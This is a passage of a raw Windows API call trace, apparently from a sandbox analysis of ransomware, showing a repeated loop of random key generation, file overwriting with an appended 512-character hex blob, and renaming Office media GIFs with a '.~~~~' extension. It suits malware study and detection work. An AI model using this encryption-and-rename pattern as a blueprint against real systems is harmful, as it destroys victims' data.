	[0129.355] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24934522511) returned 1
	[0129.355] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb68b69f0, dwHighDateTime=0x1d60e1e)) 
	[0129.355] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0129.355] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0129.355] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0129.355] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2822028
	[0129.356] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0129.356] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2822028 | out: hHeap=0x300000) returned 1
	[0129.356] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0129.356] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0129.356] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2806bd8
	[0129.356] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0129.356] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0129.356] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2806bd8 | out: hHeap=0x300000) returned 1
	[0129.356] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0129.356] GetLastError () returned 0x0
	[0129.356] GetLastError () returned 0x0
	[0129.356] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0129.357] GetLastError () returned 0x0
	[0129.357] GetLastError () returned 0x0
	[0129.359] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffff4f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.359] WriteFile (in: hFile=0x120, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xb1, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0xb1, lpOverlapped=0x0) returned 1
	[0129.360] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0129.360] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.361] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0129.361] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0129.361] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0129.361] CloseHandle (hObject=0x120) returned 1
	[0129.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2806bd8
	[0129.361] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115835.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115835.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115835.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115835.gif.~~~~")) returned 1
	[0129.745] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2806bd8 | out: hHeap=0x300000) returned 1
	[0129.745] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0129.745] GetLastError () returned 0x0
	[0129.827] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0129.828] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0129.828] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0129.829] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0129.829] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0129.829] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0129.829] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24981894316) returned 1
	[0129.829] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb6d2d330, dwHighDateTime=0x1d60e1e)) 
	[0129.829] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0129.829] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0129.829] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0129.829] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2a27dc8
	[0129.829] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0129.829] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a27dc8 | out: hHeap=0x300000) returned 1
	[0129.829] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0129.829] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0129.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7a38
	[0129.830] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0129.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c1988
	[0129.830] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7a38 | out: hHeap=0x300000) returned 1
	[0129.830] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0129.830] GetLastError () returned 0x0
	[0129.831] GetLastError () returned 0x0
	[0129.831] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0129.831] GetLastError () returned 0x0
	[0129.831] GetLastError () returned 0x0
	[0129.834] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffee9, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.834] WriteFile (in: hFile=0x138, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x117, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0x117, lpOverlapped=0x0) returned 1
	[0129.837] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0129.837] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.837] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0129.837] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0129.837] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0129.837] CloseHandle (hObject=0x138) returned 1
	[0129.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7a38
	[0129.838] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14845_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14845_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14845_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14845_.gif.~~~~")) returned 1
	[0129.870] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7a38 | out: hHeap=0x300000) returned 1
	[0129.870] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0129.870] GetLastError () returned 0x0
	[0129.914] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0129.915] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0129.915] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0129.915] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0129.915] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0129.915] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0129.915] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24990548975) returned 1
	[0129.915] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb6e11b70, dwHighDateTime=0x1d60e1e)) 
	[0129.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0129.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0129.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0129.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2a292c8
	[0129.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0129.916] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a292c8 | out: hHeap=0x300000) returned 1
	[0129.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x286e6c8
	[0129.916] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0129.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f1f48
	[0129.916] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286e6c8 | out: hHeap=0x300000) returned 1
	[0129.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c1b50
	[0129.916] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1f48 | out: hHeap=0x300000) returned 1
	[0129.916] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0129.917] GetLastError () returned 0x0
	[0129.917] GetLastError () returned 0x0
	[0129.917] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0129.917] GetLastError () returned 0x0
	[0129.917] GetLastError () returned 0x0
	[0129.918] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffffd52, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.919] WriteFile (in: hFile=0x11c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x2ae, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0x2ae, lpOverlapped=0x0) returned 1
	[0129.921] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0129.921] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.921] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0129.921] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0129.921] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0129.922] CloseHandle (hObject=0x11c) returned 1
	[0129.922] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3f1f48
	[0129.922] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14997_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14997_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14997_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14997_.gif.~~~~")) returned 1
	[0129.942] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1f48 | out: hHeap=0x300000) returned 1
	[0129.942] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0129.942] GetLastError () returned 0x0
	[0129.979] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0129.980] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0129.980] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0129.980] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0129.981] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0129.981] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0129.981] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24997083706) returned 1
	[0129.981] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb6eaa0f0, dwHighDateTime=0x1d60e1e)) 
	[0129.981] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0129.981] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0129.981] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0129.981] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2822990
	[0129.981] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0129.981] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2822990 | out: hHeap=0x300000) returned 1
	[0129.981] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0129.981] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0129.981] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3b30
	[0129.982] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0129.982] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c1db0
	[0129.982] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3b30 | out: hHeap=0x300000) returned 1
	[0129.982] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0129.982] GetLastError () returned 0x0
	[0129.982] GetLastError () returned 0x0
	[0129.982] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0129.982] GetLastError () returned 0x0
	[0129.983] GetLastError () returned 0x0
	[0129.984] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffffe7a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.984] WriteFile (in: hFile=0x140, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x186, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0x186, lpOverlapped=0x0) returned 1
	[0129.987] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0129.987] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.987] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0129.987] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0129.987] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0129.998] CloseHandle (hObject=0x140) returned 1
	[0129.998] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3f1f48
	[0129.998] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15073_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15073_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15073_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15073_.gif.~~~~")) returned 1
	[0130.050] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1f48 | out: hHeap=0x300000) returned 1
	[0130.050] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0130.050] GetLastError () returned 0x0
	[0130.063] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0130.064] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0130.064] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0130.064] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0130.064] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0130.064] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0130.064] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25005443175) returned 1
	[0130.064] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb6f687d0, dwHighDateTime=0x1d60e1e)) 
	[0130.064] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0130.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0130.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0130.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2a2bc58
	[0130.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0130.065] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a2bc58 | out: hHeap=0x300000) returned 1
	[0130.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.065] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0130.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f4310
	[0130.065] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c2010
	[0130.065] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4310 | out: hHeap=0x300000) returned 1
	[0130.065] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0130.066] GetLastError () returned 0x0
	[0130.066] GetLastError () returned 0x0
	[0130.066] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0130.066] GetLastError () returned 0x0
	[0130.066] GetLastError () returned 0x0
	[0130.068] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffffb7e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.068] WriteFile (in: hFile=0x130, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x482, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0x482, lpOverlapped=0x0) returned 1
	[0130.071] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0130.071] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.071] WriteFile (in: hFile=0x130, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.071] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.071] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.072] CloseHandle (hObject=0x130) returned 1
	[0130.072] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4310
	[0130.072] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15185_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15185_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15185_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15185_.gif.~~~~")) returned 1
	[0130.107] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4310 | out: hHeap=0x300000) returned 1
	[0130.107] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0130.107] GetLastError () returned 0x0
	[0130.107] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
